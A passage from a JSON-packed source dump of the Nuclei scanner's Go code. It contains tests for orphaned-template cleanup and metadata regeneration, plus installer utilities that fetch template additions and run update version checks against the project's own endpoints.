0644))\n\n\t\t// Empty written paths (simulating no custom templates in new release)\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\n\t\t// Run cleanup\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify custom template was NOT removed\n\t\trequire.FileExists(t, customTemplate, \"custom template should be preserved\")\n\t})\n\n\tt.Run(\"skips non-template files\", func(t *testing.T) {\n\t\t// Create temporary directories\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-cleanup-nontemplate-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create non-template files\n\t\treadmeFile := filepath.Join(tmpDir, \"README.md\")\n\t\tconfigFile := filepath.Join(tmpDir, \"cves.json\")\n\t\tchecksumFile := filepath.Join(tmpDir, \".checksum\")\n\n\t\trequire.NoError(t, os.WriteFile(readmeFile, []byte(\"# Templates\"), 0644))\n\t\trequire.NoError(t, os.WriteFile(configFile, []byte(\"{}\"), 0644))\n\t\trequire.NoError(t, os.WriteFile(checksumFile, []byte(\"\"), 0644))\n\n\t\t// Empty written paths\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\n\t\t// Run cleanup\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify non-template files were NOT removed\n\t\trequire.FileExists(t, readmeFile, \"README.md should be preserved\")\n\t\trequire.FileExists(t, configFile, \"config file should be preserved\")\n\t\trequire.FileExists(t, checksumFile, \"checksum file should be preserved\")\n\t})\n\n\tt.Run(\"handles empty written paths\", func(t *testing.T) {\n\t\t// Create temporary directories\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-cleanup-empty-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create template files\n\t\ttemplate1 := filepath.Join(tmpDir, \"template1.yaml\")\n\t\ttemplateContent := `id: test-template\ninfo:\n  name: Test Template\n  author: test\n  severity: info`\n\t\trequire.NoError(t, os.WriteFile(template1, []byte(templateContent), 0644))\n\n\t\t// Empty written paths\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\n\t\t// Run cleanup\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify template was removed (since it's not in written paths)\n\t\trequire.NoFileExists(t, template1, \"template should be removed when not in written paths\")\n\t})\n\n\tt.Run(\"handles relative and absolute paths correctly\", func(t *testing.T) {\n\t\t// Create temporary directories\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-cleanup-path-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create template file\n\t\ttemplate1 := filepath.Join(tmpDir, \"template1.yaml\")\n\t\ttemplateContent := `id: test-template\ninfo:\n  name: Test Template\n  author: test\n  severity: info`\n\t\trequire.NoError(t, os.WriteFile(template1, []byte(templateContent), 0644))\n\n\t\t// Use relative path in written paths\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\t\t_ = writtenPaths.Set(template1, struct{}{}) // relative path\n\n\t\t// Run cleanup - should normalize paths correctly\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify template was NOT removed (it was in written paths)\n\t\trequire.FileExists(t, template1, \"template should be preserved when in written paths\")\n\t})\n\n\tt.Run(\"handles empty templates directory\", func(t *testing.T) {\n\t\t// Create temporary directories\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-cleanup-empty-dir-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Directory exists but is empty (user deleted all templates)\n\t\trequire.True(t, fileutil.FolderExists(tmpDir), \"templates directory should exist\")\n\n\t\t// Written paths from new release\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\n\t\t// Run cleanup - should handle empty directory gracefully\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err, \"cleanup should handle empty directory without error\")\n\n\t\t// Directory should still exist after cleanup\n\t\trequire.True(t, fileutil.FolderExists(tmpDir), \"templates directory should still exist\")\n\t})\n\n\tt.Run(\"handles non-existent directory gracefully\", func(t *testing.T) {\n\t\t// Use a non-existent directory path\n\t\tnonExistentDir := \"/tmp/nuclei-test-non-existent-dir-12345\"\n\n\t\t// Ensure it doesn't exist\n\t\t_ = os.RemoveAll(nonExistentDir)\n\t\trequire.False(t, fileutil.FolderExists(nonExistentDir), \"directory should not exist\")\n\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\n\t\t// Run cleanup - should handle non-existent directory gracefully\n\t\terr := tm.cleanupOrphanedTemplates(nonExistentDir, writtenPaths)\n\t\trequire.NoError(t, err, \"cleanup should handle non-existent directory without error\")\n\t})\n}\n\nfunc TestRegenerateTemplateMetadata(t *testing.T) {\n\tHideProgressBar = true\n\ttm := &TemplateManager{}\n\n\tt.Run(\"creates index and checksum files\", func(t *testing.T) {\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-metadata-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create template files with unique IDs\n\t\ttemplate1 := filepath.Join(tmpDir, \"template1.yaml\")\n\t\ttemplate2 := filepath.Join(tmpDir, \"cves\", \"template2.yaml\")\n\t\trequire.NoError(t, os.MkdirAll(filepath.Dir(template2), 0755))\n\n\t\ttemplate1Content := `id: template-one\ninfo:\n  name: Template One\n  author: test\n  severity: info`\n\t\ttemplate2Content := `id: template-two\ninfo:\n  name: Template Two\n  author: test\n  severity: high`\n\n\t\trequire.NoError(t, os.WriteFile(template1, []byte(template1Content), 0644))\n\t\trequire.NoError(t, os.WriteFile(template2, []byte(template2Content), 0644))\n\n\t\t// Regenerate metadata\n\t\terr = tm.regenerateTemplateMetadata(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify index file was created\n\t\tindexPath := config.DefaultConfig.GetTemplateIndexFilePath()\n\t\trequire.FileExists(t, indexPath, \"template index file should be created\")\n\n\t\t// Verify checksum file was created\n\t\tchecksumPath := config.DefaultConfig.GetChecksumFilePath()\n\t\trequire.FileExists(t, checksumPath, \"checksum file should be created\")\n\n\t\t// Verify index contains both templates\n\t\tindex, err := config.GetNucleiTemplatesIndex()\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, index, \"template-one\", \"index should contain template-one\")\n\t\trequire.Contains(t, index, \"template-two\", \"index should contain template-two\")\n\n\t\t// Verify checksum file contains both templates\n\t\tchecksums, err := tm.getChecksumFromDir(tmpDir)\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, checksums, template1, \"checksum should contain template1\")\n\t\trequire.Contains(t, checksums, template2, \"checksum should contain template2\")\n\t})\n\n\tt.Run(\"excludes deleted templates from index after cleanup\", func(t *testing.T) {\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-metadata-cleanup-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create template files\n\t\ttemplate1 := filepath.Join(tmpDir, \"kept-template.yaml\")\n\t\ttemplate2 := filepath.Join(tmpDir, \"deleted-template.yaml\")\n\t\torphanedTemplate := filepath.Join(tmpDir, \"orphaned-template.yaml\")\n\n\t\ttemplate1Content := `id: test-template-1\ninfo:\n  name: Test Template 1\n  author: test\n  severity: info`\n\t\ttemplate2Content := `id: test-template-2\ninfo:\n  name: Test Template 2\n  author: test\n  severity: info`\n\t\torphanedContent := `id: test-template-orphaned\ninfo:\n  name: Test Template Orphaned\n  author: test\n  severity: info`\n\n\t\trequire.NoError(t, os.WriteFile(template1, []byte(template1Content), 0644))\n\t\trequire.NoError(t, os.WriteFile(template2, []byte(template2Content), 0644))\n\t\trequire.NoError(t, os.WriteFile(orphanedTemplate, []byte(orphanedContent), 0644))\n\n\t\t// Create initial index with all templates (simulating state before cleanup)\n\t\tinitialIndex := map[string]string{\n\t\t\t\"test-template-1\":        template1,\n\t\t\t\"test-template-2\":        template2,\n\t\t\t\"test-template-orphaned\": orphanedTemplate,\n\t\t}\n\t\terr = config.DefaultConfig.WriteTemplatesIndex(initialIndex)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify initial index contains all templates\n\t\tindex, err := config.GetNucleiTemplatesIndex()\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, index, \"test-template-orphaned\", \"initial index should contain orphaned template\")\n\n\t\t// Simulate cleanup: remove orphaned template\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\t\tabsTemplate1, _ := filepath.Abs(template1)\n\t\t// Normalize path consistently (same as cleanupOrphanedTemplates does)\n\t\tabsTemplate1 = filepath.Clean(absTemplate1)\n\t\t_ = writtenPaths.Set(absTemplate1, struct{}{})\n\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\t\trequire.NoFileExists(t, orphanedTemplate, \"orphaned template should be deleted\")\n\t\trequire.NoFileExists(t, template2, \"template2 should be deleted since it's not in writtenPaths\")\n\n\t\t// Regenerate metadata after cleanup\n\t\terr = tm.regenerateTemplateMetadata(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify index no longer contains deleted template\n\t\tindex, err = config.GetNucleiTemplatesIndex()\n\t\trequire.NoError(t, err)\n\t\trequire.NotContains(t, index, \"test-template-orphaned\", \"index should not contain deleted orphaned template\")\n\t\trequire.Contains(t, index, \"test-template-1\", \"index should still contain kept template\")\n\t\trequire.NotContains(t, index, \"test-template-2\", \"index should not contain template that was deleted but not cleaned\")\n\t})\n\n\tt.Run(\"excludes deleted templates from checksum after cleanup\", func(t *testing.T) {\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-checksum-cleanup-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create template files\n\t\tkeptTemplate := filepath.Join(tmpDir, \"kept.yaml\")\n\t\torphanedTemplate := filepath.Join(tmpDir, \"orphaned.yaml\")\n\n\t\ttemplateContent := `id: test-template\ninfo:\n  name: Test Template\n  author: test\n  severity: info`\n\n\t\trequire.NoError(t, os.WriteFile(keptTemplate, []byte(templateContent), 0644))\n\t\trequire.NoError(t, os.WriteFile(orphanedTemplate, []byte(templateContent), 0644))\n\n\t\t// Create initial checksum with both templates\n\t\terr = tm.writeChecksumFileInDir(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify initial checksum contains both templates\n\t\tinitialChecksums, err := tm.getChecksumFromDir(tmpDir)\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, initialChecksums, orphanedTemplate, \"initial checksum should contain orphaned template\")\n\n\t\t// Simulate cleanup: remove orphaned template\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\t\tabsKept, _ := filepath.Abs(keptTemplate)\n\t\t// Normalize path consistently (same as cleanupOrphanedTemplates does)\n\t\tabsKept = filepath.Clean(absKept)\n\t\t_ = writtenPaths.Set(absKept, struct{}{})\n\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\t\trequire.NoFileExists(t, orphanedTemplate, \"orphaned template should be deleted\")\n\n\t\t// Regenerate metadata after cleanup\n\t\terr = tm.regenerateTemplateMetadata(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify checksum no longer contains deleted template\n\t\tchecksums, err := tm.getChecksumFromDir(tmpDir)\n\t\trequire.NoError(t, err)\n\t\trequire.NotContains(t, checksums, orphanedTemplate, \"checksum should not contain deleted orphaned template\")\n\t\trequire.Contains(t, checksums, keptTemplate, \"checksum should still contain kept template\")\n\t})\n\n\tt.Run(\"cleanup and metadata regeneration integration\", func(t *testing.T) {\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-integration-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create multiple templates\n\t\ttemplate1 := filepath.Join(tmpDir, \"cves\", \"2023\", \"cve1.yaml\")\n\t\ttemplate2 := filepath.Join(tmpDir, \"cves\", \"2023\", \"cve2.yaml\")\n\t\torphaned1 := filepath.Join(tmpDir, \"cves\", \"2022\", \"old-cve.yaml\")\n\t\torphaned2 := filepath.Join(tmpDir, \"exposures\", \"old-exposure.yaml\")\n\n\t\trequire.NoError(t, os.MkdirAll(filepath.Dir(template1), 0755))\n\t\trequire.NoError(t, os.MkdirAll(filepath.Dir(orphaned1), 0755))\n\t\trequire.NoError(t, os.MkdirAll(filepath.Dir(orphaned2), 0755))\n\n\t\ttemplate1Content := `id: cve1\ninfo:\n  name: CVE1\n  author: test\n  severity: info`\n\t\ttemplate2Content := `id: cve2\ninfo:\n  name: CVE2\n  author: test\n  severity: info`\n\t\torphaned1Content := `id: old-cve\ninfo:\n  name: Old CVE\n  author: test\n  severity: info`\n\t\torphaned2Content := `id: old-exposure\ninfo:\n  name: Old Exposure\n  author: test\n  severity: info`\n\n\t\trequire.NoError(t, os.WriteFile(template1, []byte(template1Content), 0644))\n\t\trequire.NoError(t, os.WriteFile(template2, []byte(template2Content), 0644))\n\t\trequire.NoError(t, os.WriteFile(orphaned1, []byte(orphaned1Content), 0644))\n\t\trequire.NoError(t, os.WriteFile(orphaned2, []byte(orphaned2Content), 0644))\n\n\t\t// Simulate written paths from new release\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\t\tabsTemplate1, _ := filepath.Abs(template1)\n\t\tabsTemplate2, _ := filepath.Abs(template2)\n\t\t// Normalize paths consistently (same as cleanupOrphanedTemplates does)\n\t\tabsTemplate1 = filepath.Clean(absTemplate1)\n\t\tabsTemplate2 = filepath.Clean(absTemplate2)\n\t\t_ = writtenPaths.Set(absTemplate1, struct{}{})\n\t\t_ = writtenPaths.Set(absTemplate2, struct{}{})\n\n\t\t// Perform cleanup\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\t\trequire.NoFileExists(t, orphaned1, \"orphaned template 1 should be deleted\")\n\t\trequire.NoFileExists(t, orphaned2, \"orphaned template 2 should be deleted\")\n\n\t\t// Regenerate metadata (simulating what updateTemplatesAt does)\n\t\terr = tm.regenerateTemplateMetadata(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify index only contains kept templates\n\t\tindex, err := config.GetNucleiTemplatesIndex()\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, index, \"cve1\", \"index should contain kept template cve1\")\n\t\trequire.Contains(t, index, \"cve2\", \"index should contain kept template cve2\")\n\t\trequire.NotContains(t, index, \"old-cve\", \"index should not contain deleted template\")\n\t\trequire.NotContains(t, index, \"old-exposure\", \"index should not contain deleted template\")\n\n\t\t// Verify checksum only contains kept templates\n\t\tchecksums, err := tm.getChecksumFromDir(tmpDir)\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, checksums, template1, \"checksum should contain kept template1\")\n\t\trequire.Contains(t, checksums, template2, \"checksum should contain kept template2\")\n\t\trequire.NotContains(t, checksums, orphaned1, \"checksum should not contain deleted template\")\n\t\trequire.NotContains(t, checksums, orphaned2, \"checksum should not contain deleted template\")\n\n\t\t// Verify empty directories are purged\n\t\trequire.False(t, fileutil.FolderExists(filepath.Dir(orphaned1)), \"empty directory should be purged\")\n\t\trequire.False(t, fileutil.FolderExists(filepath.Dir(orphaned2)), \"empty directory should be purged\")\n\t})\n\n\tt.Run(\"handles empty templates directory\", func(t *testing.T) {\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-metadata-empty-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Ensure templates directory exists (even if empty)\n\t\trequire.NoError(t, os.MkdirAll(tmpDir, 0755))\n\n\t\t// Regenerate metadata on empty directory\n\t\terr = tm.regenerateTemplateMetadata(tmpDir)\n\t\trequire.NoError(t, err, \"should handle empty directory without error\")\n\n\t\t// Index should exist but be empty or minimal\n\t\tindexPath := config.DefaultConfig.GetTemplateIndexFilePath()\n\t\tif fileutil.FileExists(indexPath) {\n\t\t\tindex, err := config.GetNucleiTemplatesIndex()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Empty(t, index, \"index should be empty for empty templates directory\")\n\t\t}\n\t})\n\n\tt.Run(\"purges empty directories\", func(t *testing.T) {\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-metadata-purge-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create empty nested directories\n\t\temptyDir1 := filepath.Join(tmpDir, \"empty1\", \"nested\", \"deep\")\n\t\temptyDir2 := filepath.Join(tmpDir, \"empty2\")\n\t\trequire.NoError(t, os.MkdirAll(emptyDir1, 0755))\n\t\trequire.NoError(t, os.MkdirAll(emptyDir2, 0755))\n\n\t\t// Create one template in a different directory\n\t\ttemplateFile := filepath.Join(tmpDir, \"kept\", \"template.yaml\")\n\t\trequire.NoError(t, os.MkdirAll(filepath.Dir(templateFile), 0755))\n\t\trequire.NoError(t, os.WriteFile(templateFile, []byte(`id: kept-template\ninfo:\n  name: Kept\n  author: test\n  severity: info`), 0644))\n\n\t\t// Regenerate metadata (should purge empty directories)\n\t\terr = tm.regenerateTemplateMetadata(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify empty directories were purged\n\t\trequire.False(t, fileutil.FolderExists(emptyDir1), \"empty nested directory should be purged\")\n\t\trequire.False(t, fileutil.FolderExists(emptyDir2), \"empty directory should be purged\")\n\t\trequire.True(t, fileutil.FolderExists(filepath.Dir(templateFile)), \"directory with template should not be purged\")\n\t})\n}\n"
  },
  {
    "path": "pkg/installer/util.go",
    "content": "package installer\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/fs\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\n\t\"github.com/Masterminds/semver/v3\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// GetNewTemplatesInVersions returns templates path of all newly added templates\n// in these versions\nfunc GetNewTemplatesInVersions(versions ...string) []string {\n\tallTemplates := []string{}\n\tfor _, v := range versions {\n\t\tif v == config.DefaultConfig.TemplateVersion {\n\t\t\tallTemplates = append(allTemplates, config.DefaultConfig.GetNewAdditions()...)\n\t\t}\n\t\t_, err := semver.NewVersion(v)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"%v is not a valid semver version. skipping\", v)\n\t\t\tcontinue\n\t\t}\n\t\tif config.IsOutdatedVersion(v, \"v8.8.4\") {\n\t\t\t// .new-additions was added in v8.8.4 any version before that is not supported\n\t\t\tgologger.Error().Msgf(\".new-additions support was added in v8.8.4 older versions are not supported\")\n\t\t\tcontinue\n\t\t}\n\n\t\tarr, err := getNewAdditionsFileFromGitHub(v)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"failed to fetch new additions for %v got: %v\", v, err)\n\t\t\tcontinue\n\t\t}\n\t\tallTemplates = append(allTemplates, arr...)\n\t}\n\treturn allTemplates\n}\n\nfunc getNewAdditionsFileFromGitHub(version string) ([]string, error) {\n\tresp, err := retryableHttpClient.Get(fmt.Sprintf(\"https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/%s/.new-additions\", version))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, errkit.New(\"version not found\")\n\t}\n\tdata, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttemplatesList := []string{}\n\tscanner := bufio.NewScanner(bytes.NewReader(data))\n\tfor scanner.Scan() {\n\t\ttext := scanner.Text()\n\t\tif text == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif config.IsTemplate(text) {\n\t\t\ttemplatesList = append(templatesList, text)\n\t\t}\n\t}\n\treturn templatesList, nil\n}\n\nfunc PurgeEmptyDirectories(dir string) {\n\talldirs := []string{}\n\t_ = filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {\n\t\tif d.IsDir() {\n\t\t\talldirs = append(alldirs, path)\n\t\t}\n\t\treturn nil\n\t})\n\t// sort in ascending order\n\tsort.Strings(alldirs)\n\t// reverse the order\n\tsort.Sort(sort.Reverse(sort.StringSlice(alldirs)))\n\n\tfor _, d := range alldirs {\n\t\tif isEmptyDir(d) {\n\t\t\t_ = os.RemoveAll(d)\n\t\t}\n\t}\n}\n\nfunc isEmptyDir(dir string) bool {\n\thasFiles := false\n\t_ = filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {\n\t\tif !d.IsDir() {\n\t\t\thasFiles = true\n\t\t\treturn io.EOF\n\t\t}\n\t\treturn nil\n\t})\n\treturn !hasFiles\n}\n"
  },
  {
    "path": "pkg/installer/versioncheck.go",
    "content": "package installer\n\nimport (\n\t\"io\"\n\t\"net/url\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tupdateutils \"github.com/projectdiscovery/utils/update\"\n)\n\nconst (\n\tpdtmNucleiVersionEndpoint    = \"https://api.pdtm.sh/api/v1/tools/nuclei\"\n\tpdtmNucleiIgnoreFileEndpoint = \"https://api.pdtm.sh/api/v1/tools/nuclei/ignore\"\n)\n\n// defaultHttpClient is http client that is only meant to be used for version check\n// if proxy env variables are set those are reflected in this client\nvar retryableHttpClient = retryablehttp.NewClient(retryablehttp.Options{HttpClient: updateutils.DefaultHttpClient, RetryMax: 2})\n\n// PdtmAPIResponse is the response from pdtm API for nuclei endpoint\ntype PdtmAPIResponse struct {\n\tIgnoreHash string `json:\"ignore-hash\"`\n\tTools      []struct {\n\t\tName    string `json:\"name\"`\n\t\tVersion string `json:\"version\"`\n\t} `json:\"tools\"`\n}\n\n// NucleiVersionCheck checks for the latest version of nuclei and nuclei templates\n// and returns an error if it fails to check on success it returns nil and changes are\n// made to the default config in config.DefaultConfig\nfunc NucleiVersionCheck() error {\n\treturn doVersionCheck(false)\n}\n\n// this will be updated by features of 1.21 release (which directly provides sync.Once(func()))\ntype sdkUpdateCheck struct {\n\tsync.Once\n}\n\nvar sdkUpdateCheckInstance = &sdkUpdateCheck{}\n\n// NucleiSDKVersionCheck checks for latest version of nuclei which running in sdk mode\n// this only happens once per process regardless of how many times this function is called\nfunc NucleiSDKVersionCheck() {\n\tsdkUpdateCheckInstance.Do(func() {\n\t\t_ = doVersionCheck(true)\n\t})\n}\n\n// getpdtmParams returns encoded query parameters sent to update check endpoint\nfunc getpdtmParams(isSDK bool) string {\n\tvalues, err := url.ParseQuery(updateutils.GetpdtmParams(config.Version))\n\tif err != nil {\n\t\tgologger.Verbose().Msgf(\"error parsing update check params: %v\", err)\n\t\treturn updateutils.GetpdtmParams(config.Version)\n\t}\n\tif isSDK {\n\t\tvalues.Add(\"sdk\", \"true\")\n\t}\n\treturn values.Encode()\n}\n\n// UpdateIgnoreFile updates default ignore file by downloading latest ignore file\nfunc UpdateIgnoreFile() error {\n\tresp, err := retryableHttpClient.Get(pdtmNucleiIgnoreFileEndpoint + \"?\" + getpdtmParams(false))\n\tif err != nil {\n\t\treturn err\n\t}\n\tbin, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := os.WriteFile(config.DefaultConfig.GetIgnoreFilePath(), bin, 0644); err != nil {\n\t\treturn err\n\t}\n\treturn config.DefaultConfig.UpdateNucleiIgnoreHash()\n}\n\nfunc doVersionCheck(isSDK bool) error {\n\t// we use global retryablehttp client so its not immediately gc'd if any references are held\n\t// and according our config we have idle connections which are shown as leaked by goleak in tests\n\t// i.e we close all idle connections after our use and it doesn't affect any other part of the code\n\tdefer retryableHttpClient.HTTPClient.CloseIdleConnections()\n\n\tresp, err := retryableHttpClient.Get(pdtmNucleiVersionEndpoint + \"?\" + getpdtmParams(isSDK))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\tbin, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar pdtmResp PdtmAPIResponse\n\tif err := json.Unmarshal(bin, &pdtmResp); err != nil {\n\t\treturn err\n\t}\n\tvar nucleiversion, templateversion string\n\tfor _, tool := range pdtmResp.Tools {\n\t\tswitch tool.Name {\n\t\tcase \"nuclei\":\n\t\t\tif tool.Version != \"\" {\n\t\t\t\tnucleiversion = \"v\" + tool.Version\n\t\t\t}\n\n\t\tcase \"nuclei-templates\":\n\t\t\tif tool.Version != \"\" {\n\t\t\t\ttemplateversion = \"v\" + tool.Version\n\t\t\t}\n\t\t}\n\t}\n\treturn config.DefaultConfig.WriteVersionCheckData(pdtmResp.IgnoreHash, nucleiversion, templateversion)\n}\n"
  },
  {
    "path": "pkg/installer/versioncheck_test.go",
